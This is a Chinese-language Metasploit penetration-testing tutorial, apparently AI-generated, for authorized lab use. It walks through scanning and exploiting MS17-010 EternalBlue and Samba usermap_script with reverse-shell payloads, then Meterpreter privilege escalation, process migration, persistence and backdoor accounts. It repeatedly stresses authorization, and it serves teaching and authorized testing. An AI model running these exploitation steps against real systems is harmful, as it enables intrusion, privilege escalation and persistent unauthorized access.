以下是将整个步骤说明 漏洞利用流程的全方位详细整理版;整体按"授权准备 → 信息收集 → 漏洞确认 → 模块与 Payload 选择 → 参数配置 → 执行利用 → 会话管理 → 后渗透提权 → 横向移动注意事项 → 清理与报告 → 示例 → 检查清单"展开。仅限自有靶机、本地授权靶场或书面授权范围使用;不要对生产系统随意执行 exploit,可能导致服务中断。
0. 核心流程总览
MSF 漏洞利用通常不是"只跑一个 exploit",而是标准化流程:
text
授权与环境准备
→ 信息收集
→ 漏洞确认
→ 搜索与选择模块
→ 选择 Payload
→ 配置参数
→ 执行利用
→ 会话管理
→ 后渗透与提权
→ 横向移动/影响评估(受控)
→ 痕迹清理与报告
核心命令主线可概括为:
text
search → use → show options → set/setg → show payloads → set payload → check → run/exploit
→ sessions -l → sessions -i → 后渗透
1. 环境与授权准备
1.1 必须确认的前提
渗透测试前必须确认:
-
已获得书面授权或明确测试范围;
-
使用本地靶机,如 Metasploitable、DVWA、VulnHub 靶机;
-
Kali 攻击机与靶机网络互通;
-
记录测试时间、目标 IP、端口、模块、Payload 和操作命令,便于复盘与报告;
-
明确禁止测试的资产、时间段、风险窗口和应急联系人。
1.2 启动 MSF 与数据库
启动 Metasploit 控制台:
bash
msfconsole
如需使用 db_nmap、hosts、services 等数据库功能,建议确保 PostgreSQL 与 MSF 数据库正常:
bash
service postgresql start
msfdb init
msfconsole
可创建 workspace 隔离项目记录:
bash
workspace -a 项目名称
workspace
1.3 记录要求
建议记录:
| 项目 | 示例 |
|---|---|
| 测试时间 | 2026-xx-xx |
| 目标 IP | 192.168.1.100 |
| 开放端口 | 445、80、22 |
| 使用模块 | exploit/windows/smb/ms17_010_eternalblue |
| Payload | windows/x64/meterpreter/reverse_tcp |
| LHOST/LPORT | 192.168.1.10 / 4444 |
| 执行命令 | 完整命令与输出 |
| 证据 | 截图、日志、抓包 |
2. 信息收集
2.1 常规端口与服务扫描
先用常规手段确认目标开放了哪些端口和服务:
bash
nmap -sV -O -p- <目标IP>
常见关注点:
| 目标信息 | 作用 | 示例 |
|---|---|---|
| 开放端口 | 判断攻击面 | 445、80、22、3389 |
| 服务版本 | 匹配已知漏洞 | Samba、Apache、SMB |
| 操作系统 | 选择对应模块 | Windows / Linux |
| 配置弱点 | 辅助判断可利用性 | 匿名 FTP、弱口令 |
2.2 在 MSF 中使用 db_nmap
在 msfconsole 中可直接使用集成 Nmap,结果会保存到 MSF 数据库:
bash
db_nmap -sV <目标IP>
查看主机与服务记录:
bash
hosts
services
2.3 Web 资产识别
如目标开放 Web 服务,可结合:
bash
whatweb <目标URL>
dirsearch -u <目标URL>
nikto -h <目标URL>
关注:CMS、框架版本、目录泄露、默认页面、管理入口、弱口令入口等。
2.4 信息收集输出
信息收集后应形成初步攻击面清单:
-
目标 IP、主机名、操作系统;
-
开放端口与服务版本;
-
Web 路径与组件版本;
-
可能的漏洞编号或配置弱点;
-
需要进一步确认的候选漏洞。
3. 漏洞确认
扫描发现"可能存在漏洞"不等于"可利用"。应先用 MSF auxiliary 模块或手工方式验证。
3.1 示例:检测 MS17-010
bash
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS <目标IP>
msf6 > run
如果返回阳性结果,再考虑进入漏洞利用阶段。
3.2 示例:搜索 CVE
bash
search cve:2017-0144
search ms17-010
search samba usermap_script
3.3 使用 check 命令
部分 exploit 模块支持 check,可在利用前探测目标是否存在漏洞:
bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <目标IP>
check
注意:check 不是所有模块都支持;不支持时只能依据版本、补丁状态和辅助扫描结果判断。
4. 选择漏洞利用模块
4.1 搜索模块
bash
search ms17-010
search samba usermap_script
search cve:2017-0144
搜索结果重点看:
-
Name:模块路径;
-
Rank:评级,优先
excellent、great; -
Description:适用目标;
-
Disclosure Date:披露时间。
4.2 常见模块类型
| 类型 | 作用 |
|---|---|
exploit |
真正发起攻击的漏洞利用模块 |
auxiliary |
扫描、探测、爆破等辅助模块 |
payload |
攻击成功后执行的载荷,如 Meterpreter、Reverse Shell |
post |
后渗透模块,用于提权、信息收集、横向移动等 |
4.3 选用模块
bash
use exploit/windows/smb/ms17_010_eternalblue
加载后提示符会变为类似:
text
msf6 exploit(windows/smb/ms17_010_eternalblue) >
5. 选择 Payload
Payload 决定攻击成功后获得什么能力。常见类型:
| Payload 类型 | 特点 |
|---|---|
reverse_tcp |
靶机主动回连攻击机,较容易绕过入站防火墙 |
bind_tcp |
靶机本地监听端口,攻击机主动连接 |
meterpreter |
内存交互式会话,功能较强 |
cmd/unix/reverse |
Linux 靶机常用反向 Shell |
5.1 Windows 示例
bash
set payload windows/x64/meterpreter/reverse_tcp
5.2 Linux 示例
bash
set payload cmd/unix/reverse
5.3 查看可用 Payload
bash
show payloads
选择时应考虑:
-
目标操作系统与架构;
-
目标出站/入站防火墙策略;
-
是否需要 Meterpreter 后渗透能力;
-
稳定性与兼容性;
-
授权范围内的功能需求。
6. 配置关键参数
进入模块后先查看选项:
bash
show options
常见参数:
| 参数 | 含义 | 示例 |
|---|---|---|
RHOSTS |
目标 IP,可支持 CIDR/文件 | 192.168.1.100 |
RPORT |
目标端口 | 445、139、80 |
LHOST |
攻击机监听 IP | 192.168.1.10 |
LPORT |
攻击机监听端口 | 4444 |
PAYLOAD |
攻击载荷 | meterpreter/reverse_tcp |
TARGET |
目标系统类型 | 通常保持默认 |
6.1 配置示例
bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <目标IP>
set LHOST <攻击机IP>
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp
如目标端口非默认:
bash
set RPORT <端口号>
可查看目标类型:
bash
show targets
可查看高级选项:
bash
show advanced
如需全局设置攻击机 IP:
bash
setg LHOST <攻击机IP>
setg LPORT 4444
6.2 再次确认
bash
show options
确认 Required 为 yes 的参数均已填写。
7. 执行漏洞利用
配置完成后执行:
bash
exploit
或:
bash
run
如需后台运行:
bash
exploit -j
如果攻击成功,MSF 通常会建立一个会话。例如:
-
Windows 靶机利用 MS17-010 成功后,可能获得
NT AUTHORITY\SYSTEM权限; -
Linux 靶机利用 Samba usermap_script 漏洞成功后,可能直接获得
root权限。
7.1 查看会话
bash
sessions -l
7.2 进入会话
bash
sessions -i <会话ID>
7.3 会话后台化
在 Meterpreter 中:
bash
background
或:
bash
bg
然后可继续管理其他会话。
8. 后渗透与提权
获得初始会话后,可以进一步评估影响,但仍需控制在授权范围内。
8.1 Meterpreter 常见操作
bash
getuid
sysinfo
ipconfig
ps
getsystem
说明:
-
getuid:查看当前用户; -
sysinfo:查看系统信息; -
ipconfig:查看网络配置; -
ps:列出进程; -
getsystem:尝试提权到 SYSTEM。
8.2 获取系统 Shell
bash
shell
进入目标系统原生命令行后,可用:
bash
whoami
id
验证权限;输入 exit 返回 Meterpreter。
8.3 进程迁移
为防止会话因目标程序关闭而中断,可将 Meterpreter 迁移到稳定进程:
bash
ps
migrate <PID>
例如迁移到 explorer.exe 等稳定进程。迁移前确认 PID 与权限。
8.4 本地提权建议
使用后渗透模块寻找本地提权建议:
bash
use post/multi/recon/local_exploit_suggester
set SESSION <会话ID>
run
根据输出选择候选提权模块,但必须在授权范围内验证。
8.5 权限维持
根据测试授权范围,可考虑使用 persistence 脚本或创建后门账号维持访问权限。
注意:权限维持风险高,必须明确授权、记录操作,并在测试结束后清理。
9. 横向移动与内网操作注意事项
内网环境中,还可能涉及:
-
横向移动;
-
凭证收集;
-
服务探测;
-
域内信息收集;
-
告警验证。
但这些操作风险较高,必须:
-
在明确授权和变更窗口内执行;
-
保留完整审计记录;
-
避免造成业务中断;
-
避免触碰范围外资产;
-
同步抓包或记录日志,用于复盘、告警验证和防御加固。
10. 痕迹清理与报告
测试结束后应恢复环境、清理测试账号、删除测试文件,并整理报告。清理操作也应在授权范围内进行并记录。
10.1 清理内容
-
删除上传的工具与测试文件;
-
清理测试账号;
-
移除测试后门;
-
按授权要求处理日志与临时配置;
-
恢复被修改的服务配置;
-
确认目标系统状态恢复正常。
10.2 报告通常包括
-
测试范围与授权说明;
-
目标资产清单;
-
发现的漏洞及风险等级;
-
复现步骤与截图证据;
-
影响评估;
-
修复建议:打补丁、关闭不必要端口、升级服务版本、加固防火墙策略、最小权限、日志监控;
-
复测结果;
-
操作记录与审计证据。
11. 示例一:MS17-010 利用流程
11.1 信息收集
bash
nmap -sV -O -p- <目标IP>
或在 MSF 中:
bash
db_nmap -sV <目标IP>
services
11.2 漏洞确认
bash
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS <目标IP>
msf6 > run
11.3 利用
bash
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <目标IP>
set LHOST <攻击机IP>
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp
check
exploit
11.4 成功后验证
bash
getuid
sysinfo
ipconfig
确认权限和系统信息。
12. 示例二:Samba usermap_script 利用流程
12.1 搜索与选用
bash
msfconsole
search samba usermap_script
use exploit/multi/samba/usermap_script
12.2 配置与执行
bash
set RHOSTS <目标IP>
set payload cmd/unix/reverse
set LHOST <攻击机IP>
set LPORT 4444
show options
exploit
12.3 成功后验证
bash
whoami
id
验证是否获得高权限。
13. 常见参数与命令速查
13.1 MSF 核心命令
bash
msfconsole # 启动 MSF
search <关键字> # 搜索模块
use <模块路径> # 选用模块
show options # 查看参数
show payloads # 查看可用 Payload
show targets # 查看目标类型
set <参数> <值> # 设置参数
setg <参数> <值> # 设置全局参数
check # 漏洞检测(部分模块支持)
run / exploit # 执行利用
exploit -j # 后台执行
sessions -l # 列出会话
sessions -i <ID> # 进入会话
background / bg # 会话后台化
13.2 Meterpreter 常用命令
bash
getuid
sysinfo
ipconfig
ps
migrate <PID>
getsystem
shell
13.3 后渗透模块示例
bash
use post/multi/recon/local_exploit_suggester
set SESSION <会话ID>
run
14. 注意事项与安全边界
-
只能在自有靶机或书面授权范围内测试;
-
不要对生产系统随意执行
exploit,可能导致服务中断; -
利用成功不代表可以随意操作,后渗透阶段也要受控;
-
建议同步抓包或记录日志,用于复盘、告警验证和防御加固;
-
权限维持、凭证收集、横向移动属于高风险操作,必须明确授权并保留审计记录;
-
清理痕迹应合法合规,并在授权范围内记录操作;
-
报告应包含修复建议与复测结果;
-
防御建议包括:打补丁、关闭不必要端口、升级服务版本、加固防火墙策略、最小权限、日志监控与告警验证。
15. 最终检查清单
text
[ ] 已获得书面授权/明确靶场范围
[ ] 已记录目标 IP、端口、时间、操作命令
[ ] 已完成端口与服务扫描
[ ] 已进行漏洞确认,而非直接 exploit
[ ] 已选择合适 exploit 模块与 Payload
[ ] 已检查 show options 并配置 RHOSTS/LHOST/LPORT
[ ] 已执行 check(如模块支持)
[ ] 已执行 exploit/run 并获取会话
[ ] 已用 sessions -l / sessions -i 管理会话
[ ] 已进行受控后渗透与提权验证
[ ] 已记录证据、截图、日志或抓包
[ ] 已清理测试账号/文件/后门并恢复环境
[ ] 已输出报告、影响评估、修复建议与复测结果
以上流程将"信息收集 → 漏洞确认 → 模块选择 → 参数配置 → 执行利用 → 后渗透/提权 → 痕迹清理与报告"的主线,与 MSF 的"搜索模块 → 选用模块 → 查看选项 → 配置参数 → 选择载荷 → 执行利用 → 会话管理"的操作细节融合在一起,可作为 Kali Linux 授权靶场环境下 MSF 漏洞利用测试的完整参考流程。